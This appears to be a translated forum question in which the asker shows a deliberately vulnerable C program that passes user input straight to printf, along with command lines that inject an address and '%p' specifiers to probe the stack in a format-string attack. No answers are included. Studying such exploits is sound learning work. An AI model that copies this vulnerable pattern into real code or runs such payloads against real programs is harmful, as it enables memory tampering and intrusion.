如果地址与单词中的其他十六进制数字一起存在,如何写地址

时间:2018-12-26 07:36:43

标签: c exploit format-string

我编写了这段代码,以查看是否可以通过x64中的格式字符串攻击来修改“ target”变量。

#include<stdio.h>
int target;
int main(int argc , char **argv)
{  
    printf(argv[1]);
    printf("\n\nTarget variable is at: %p" , &target);
    if(target)
        printf("Target Modified!");
    return 0;
}   

由于x64中的每个单词的大小为8个字节,因此目标变量的地址必须以8个字节的形式写入。

但是,这里的问题是目标变量的地址是

0x555555755034(格式为0xAABBCCDDEEFF)

但是由于字长为8个字节,我必须将此地址写为

0x0000555555755034(格式为0x0000AABBCCDDEEFF)。

但是当我运行以下命令以查看目标变量在堆栈中的位置时,我看到它总是与其他一些十六进制数字一起出现,例如5ecdAABBCCDDEEFF。

./code $(python -c 'print "\x34\x50\x75\x55\x55\x55"+"-%p"*131')

为了使其形状正确,我尝试在目标地址之前添加两个“ \ 00”,例如

./code $(python -c 'print "\x34\x50\x75\x55\x55\x55\x00\x00"+"-%p"*131')

但是终端抱怨'\ x00'被终止,因为它终止了字符串。

所以我的问题是: 我该如何写一个看起来像0xAABBCCDDEEFF但与其他十六进制数字(如0xed4cAABBCCDDEEFF)一起出现的地址。

如果有人可以帮助我,我会很高兴。如果我不清楚您的情况,请发表评论!

0 个答案:

没有答案